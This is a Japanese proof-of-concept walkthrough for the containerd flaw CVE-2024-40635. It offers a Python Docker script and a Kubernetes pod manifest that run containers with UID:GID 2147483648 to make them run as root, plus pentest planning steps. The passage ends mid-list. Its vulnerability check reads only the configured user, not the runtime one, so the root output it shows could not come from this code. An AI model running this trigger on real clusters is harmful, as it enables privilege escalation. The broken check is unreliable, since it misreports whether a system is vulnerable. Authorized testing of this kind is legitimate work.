
CVE-2024-40635 の脆弱性を実証するための Proof of Concept コード
CVE-2024-40635 の脆弱性を検証するための Proof of Concept コード データはこちらから取得: https://nvd.nist.gov/vuln/detail/CVE-2024-40635
import docker
これは Python の docker ライブラリをインポートするもので、Docker の API を使用して Docker と対話できるようにします。このライブラリがインストールされていない場合は、以下を実行して追加できます:
pip install docker
client = docker.from_env()
ここでは、docker.from_env() メソッドを使用して Docker クライアントオブジェクトを作成します。これにより、(設定されている場合は)お使いのマシンまたはリモートホストで実行中の Docker デーモンに接続します。
def is_system_vulnerable(container):
try:
# Inspect container details
details = container.attrs
uid_gid = details['Config']['User']
print(f"Container UID:GID = {uid_gid}") # Print the UID:GID
if uid_gid == "0:0": # Root UID:GID
return True
return False
except Exception as e:
print(f"Error checking container details: {e}")
return False
目的: この関数は、作成されたコンテナの属性を検査して、システムが脆弱かどうかをチェックします。
主要なステップ:
container.attrs: コンテナに関するすべてのメタデータ(構成、ランタイム設定など)を取得します。
details['Config']['User']: コンテナが実行される UID:GID(ユーザー ID とグループ ID)を抽出します。これがテスト対象のプロパティです。
print(f"Container UID:GID = {uid_gid}"): 可視性のため、常に UID:GID を出力します。
脆弱性のチェック: UID:GID が "0:0" の場合、コンテナが root 権限で実行されていることを示し、システムが脆弱であることを意味します。
container = client.containers.run(
"vulnerable-image", # Replace with your test image
user="2147483648:2147483648", # UID:GID exceeding 32-bit signed integer
detach=True
)
client.containers.run: Docker コンテナを作成して起動します。
"vulnerable-image": テストに適した実際の Docker イメージの名前に置き換えてください。
user="2147483648:2147483648": ここでは、カスタムのユーザー ID とグループ ID(UID:GID)を設定します。この値は 32 ビット符号付き整数の範囲を超えており、これが脆弱性のトリガー条件となります。
detach=True: コンテナがバックグラウンドで実行されるようにし、コンテナの実行が終了するのを待たずにスクリプトが続行できるようにします。
try:
...
except Exception as e:
print(f"Error: {e}")
この try-except ブロックは、コンテナの作成または実行中に発生したエラーを捕捉して出力し、スクリプトが突然終了するのを防ぎます。
print(f"Container {container.id} started.")
コンテナが正常に作成され起動されると、参照用にその一意の ID が出力されます。これは、デバッグやコンテナのさらなる調査に役立ちます。
if is_system_vulnerable(container):
print("System is vulnerable: Container is running as root!")
else:
print("System is not vulnerable.")
これは、作成したコンテナを引数として渡し、is_system_vulnerable function を呼び出します。
結果(True は脆弱、False は脆弱でない)に基づいて、対応するメッセージを出力します。
このスクリプトは、出力に以下のような詳細情報を提供するように設計されています:
コンテナに割り当てられた UID:GID。
システムが脆弱かどうかの明確な表示。
このスクリプトがテスト環境で実行されると、次のようなことが起こるとします:
2147483648:2147483648 を使用してコンテナが作成されます。0:0(root)として解釈し、コンテナが root 権限で実行されることになります。Container abc123 started.
Container UID:GID = 0:0
System is vulnerable: Container is running as root!
あるいは、システムが大きな UID:GID 値を正しく処理し、それらを root にマップしない場合は、次のように表示される可能性があります:
Container xyz456 started.
Container UID:GID = 2147483648:2147483648
System is not vulnerable.
"vulnerable-image" を、テストシナリオに適した Docker イメージ(例: 依存関係が最小限のイメージ)に置き換えてください。Kubernetes や Harbor などのライブ環境でこの Proof of Concept(PoC)を実行してペネトレーションテストを行うには、テストが管理され、倫理的で、効果的であることを保証するための慎重な計画が必要です。以下に、その実施方法の内訳を示します:
1. 計画と準備 スコープを理解する: テストの境界を定義します。ライブ環境でペネトレーションテストを実施するための明示的な許可があることを確認してください。
2. バックアップ: テストが可用性やデータに影響を与える場合に備えて、重要なシステムとコンテナのバックアップを作成します。
3 テスト環境: 本番ワークロードに影響を与えないように、この PoC 専用の Kubernetes 内の別の名前空間またはクラスターを設定します。
Kubernetes クラスター内に、脆弱なバージョンの containerd (v1.6.35-gke.0) を使用したコンテナをデプロイします。
攻撃対象領域を小さく保つために、依存関係が最小限の Docker イメージ(例: "vulnerable-image")を使用します。
Kubernetes デプロイメント用の YAML の例:
apiVersion: v1
kind: Pod
metadata:
name: vulnerable-pod
namespace: pentest
spec:
containers:
- name: vulnerable-container
image: vulnerable-image # Replace with your test image
securityContext:
runAsUser: 2147483648 # Intentionally exceed 32-bit signed integer
runAsGroup: 2147483648
以下のコマンドで YAML を適用します:
kubectl apply -f pod.yml
b. PoC による検証
Kubernetes クラスターにアクセスできるマシンから、開発した Python スクリプトを実行します。たとえば、kubernetes Python ライブラリを使用して Kubernetes と対話するようにスクリプトを変更できます。
以下のコマンドでインストールします:
pip install kubernetes
Kubernetes を統合するための更新されたスニペットは次のとおりです:
from kubernetes import client, config
# Load Kubernetes configuration
config.load_kube_config()
# Create a Kubernetes API client
v1 = client.CoreV1Api()
# Check UID:GID for the specified pod
def check_pod_user(pod_name, namespace):
pod = v1.read_namespaced_pod(name=pod_name, namespace=namespace)
uid = pod.spec.containers[0].security_context.run_as_user
gid = pod.spec.containers[0].security_context.run_as_group
print(f"Pod {pod_name} UID:GID = {uid}:{gid}")
if uid == 0 and gid == 0:
print("System is vulnerable: Pod is running as root!")
else:
print("System is not vulnerable.")
check_pod_user("vulnerable-pod", "pentest")
docker tag vulnerable-image harbor.local/vulnerable-image:latest
docker push harbor.local/vulnerable-image:latest
Harbor ではイメージへのアクセスを制御できるため、脆弱なイメージがペネトレーションテストでのみ使用されるようにアクセスを制限してください。
検証: PoC の実行後、ログに脆弱性がトリガーされた兆候がないか確認します。たとえば、コンテナ(または Pod)が root として実行されているかどうかを確認します。
文書化: 以下のような調査結果を記録します: